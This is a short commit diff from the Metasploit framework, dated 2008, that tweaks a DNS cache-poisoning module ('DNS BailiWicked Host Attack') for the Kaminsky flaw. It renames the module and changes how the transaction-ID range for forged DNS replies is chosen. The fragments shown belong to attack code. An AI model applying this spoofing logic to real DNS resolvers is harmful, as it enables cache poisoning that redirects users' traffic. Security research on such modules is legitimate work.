Better XID mixing

git-svn-id: file:///home/svn/framework3/trunk@5585 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2008-07-23 23:09:21 +00:00
parent 255998f3b3
commit e0bdbacb5d
1 changed files with 3 additions and 3 deletions

View File

@ -11,7 +11,7 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'DNS BailiWicked Attack', 'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{ 'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
@ -132,6 +132,7 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
recons = datastore['RECONS'] recons = datastore['RECONS']
xids = datastore['XIDS'].to_i xids = datastore['XIDS'].to_i
ttl = datastore['TTL'].to_i ttl = datastore['TTL'].to_i
xidbase = rand(4)+2*10000
domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
@ -272,8 +273,7 @@ class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
req.qr = 1 req.qr = 1
req.ra = 1 req.ra = 1
p = rand(4)+2*10000 xidbase.upto(xidbase+xids-1) do |id|
p.upto(p+xids-1) do |id|
req.id = id req.id = id
barbs.each do |barb| barbs.each do |barb|
buff = ( buff = (